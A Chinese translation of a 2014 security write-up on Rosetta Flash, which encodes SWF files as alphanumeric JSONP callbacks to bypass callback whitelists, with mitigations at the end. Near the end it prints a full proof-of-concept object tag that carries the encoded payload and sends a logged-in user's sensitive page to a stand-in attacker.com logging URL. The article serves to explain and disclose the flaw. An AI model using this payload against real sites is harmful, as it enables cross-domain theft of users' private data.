上傳檔案的陷阱II 純數字字母的swf是漏洞麼?

wyzsk發表於2020-08-19
作者: mramydnei · 2014/07/14 11:40

from:http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

0x00 背景


在上一篇上傳檔案的陷阱(/tips/?id=2031)當中,作者提到對於flash的跨域資料 劫持,有時並不需要我們去上傳一個檔案。因為我們可以簡單的利用JSONP介面,將flash的內容賦 [email protected]樣,利用JSONP的部分確實可以看作是整個 文章的“高潮點”。因為在多數情況下:

1.一個不會驗證檔案格式的上傳點並沒有那麼好找
2.有時候我們找不到檔案的真正路徑,有時候檔案會被強制下載
3.即使我們找到了不受條件[1]和[2]約束的上傳點,也有可能會遭到“檔案訪問許可權”的困擾!

當然這些也只是我在試圖利用這種方法時遇到的一些困難,實際上也許還會有更復雜和更難以利⽤用的場景。相比之下如果是利用JSONP,事情就可能會變得相對簡單一些。但實際上利⽤JSONP callback APIs道路也並沒有那麼平坦。因為很多開發者會對json的callbacks做一些限制。比如:

只允許[a-zA-Z]和 _ 和 .

先不論這種做法的好壞和正確性,首先我們必須得承認這種做法確實可以在某種程度上減少大部分的安全隱患。但是這樣就真的安全了麼?很明顯,答案是否定的。為了證明這種防範措施依然是極 度脆弱的,作者開發了一個名為Rosetta Flash的工具。就像⽂文章的標題所描述的那樣,利用該工具 可以幫助我們建立純數字字母的swf檔案。有了這種格式的swf在手,上述的callbacks限制也就自然 是浮雲了。光憑說,好像完全沒有說服力。讓我們看看這種bypass問世後都有哪些大站躺槍:

* Google的⼀一些站點,如:accounts.google.com,主站和books,maps等分站
* Youtube
* Twitter
* Instagram
* Tumblr
* Lark
* eBay

寫(翻譯)到這裡時才發現這個鋪墊確實有點長了。下面就讓我們來看看筆者的這把劍(Rosetta Flash)是怎麼磨出來的吧。

0x01 Rosetta Flash


這種純數字字母的swf的製作原理,主要就是將一般的swf二進位制內容透過zlib壓縮後再進行輸出。 使用點對點的哈弗曼編碼將非法字元對映為合法字元。當然了,嚴格的來說這種做法並不能被稱作 是真正意義上壓縮。

enter image description here

通常,一個Flash檔案既可以是沒有被壓縮過的(神奇的FWC位元組),也可以是經過zlib(神奇的 CWS位元組)或LZMA(神奇的ZWS位元組)壓縮過的。

SWF的頭格式如下圖所示:

enter image description here

由於Flash解析器具有極高的自由度(如下圖)和忽略無效位元組的特性,藉助這種特性就可以讓我們得到我們想要的字元。

enter image description here

首先我們要搞定zlib頭中經過DEFLATE(同時使用了LZ77與哈夫曼編碼的一種無損資料壓縮演算法)壓縮過的前兩個位元組。我使用下面的方法搞定了其中的第一個位元組:

enter image description here

再透過這種方式搞定了其第二個位元組:

enter image description here

雖然不存在太多這樣的組合(兩個位元組)可以同時透過CMF+CINFO+FLG,但是0x68 0x43=hc恰好是符合的。

所以在Rosetta Flash當中我也使⽤用了這兩個位元組。

在搞定zlib頭中的前兩個位元組後,還需要我們暴⼒破解其中的ADLER32校驗(checksum)。

因為就像對其它部分所要求的那樣,我們的checksum也必須是純數字字母組成的。

在這裡我們就使用了一種比較聰明的做法來獲取由[a-zA-Z0-9_\.]構成的checksum。

enter image description here

對於我們來說,不論是S1還是S2都必須是由數字字母來構成的。

但問題是,我們要怎麼去處理這個未壓縮過的swf來獲取這樣的checksum呢?值得慶幸的是,SWF檔案格式允許我們在其尾部加入任意位元組。

而且這些位元組是會被忽略的。這一特性幫助我搞定了S1和S2。我稱之為Sleds + Deltas 技術。

enter image description here

我們需要做的就是不停新增高位的seld直到出現一個單位元組可以讓S1模數溢位。

隨後再新增delta. 透過這種手法,我們就可以獲取一個合法的S1.之後我們在透過新增一個空位元組的sled直到S2的模數溢位,最終就可以得到一個合法的S2了。

在經過這一切的處理之後,我們得到了一個checksum和zlib頭均為合法的數字字母的原始swf⽂件。

現在讓我們使用哈夫曼的魔法將所有的一切轉換成我們需要的[a-zA-Z0-9_\.]吧。

enter image description here

在這裡我們使用了兩個哈夫曼encoder來提高我們程式的效率。

如果你想了解更多的細節,可以在 Github上查閱Rosetta Flash的原始碼:https://github.com/mikispag/rosettaflash/

最終,按位元組輸出的效果會是這樣:

enter image description here

最終我們得到我們一直期盼的純數字字母的SWF:

enter image description here

相關POC(AS2程式碼):

enter image description here

我們將其編譯為swf(未壓縮),再用Rosetta Flash對其進行轉換,最終得到:

enter image description here

<object type="application/x-shockwave-flash" data="https://vulnerable.com/endpoint? callback=CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD 33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHT HNo4D0Up0IZUnnnnn nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h" style="display: none"> <param name="FlashVars" value="url=https://vulnerable.com/account/sensitive_content_logged_in&exfiltrate=http://attacker.com/log.php"> </object>

0x02 緩解措施和修復


*來⾃自Adobe的緩解措施

針對於這種情況,Adobe推出了修復版本14.0.0.125,並提到此次的修復會對flash進⾏行驗證來組織 JSONP callback APIs的利用問題。

*來⾃自⺴⽹網站擁有者的緩解措施

可以透過設定

HTTP header Content-Disposition: attachment; filename=f.txt

來強制進⾏檔案下載。

這種方式對於Flash 10.2以後的版本來說是完全足夠的。然⽽而對於content sniffing攻擊,我們可以在 callback內容的最前⾯面加上/**/來進行良好的防禦(這也是⾕谷歌,facebook和Github一直在採取的措施)。當然我們也可以透過設定

X-Content-Type-Options: nosniff

來防禦Opera和Chrome下的 content sniffing攻擊。在這些瀏覽器下,Flash播放器一旦發現Content-type不為application/x- shockwave-flash就會拒絕swf⽂檔案的執行。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章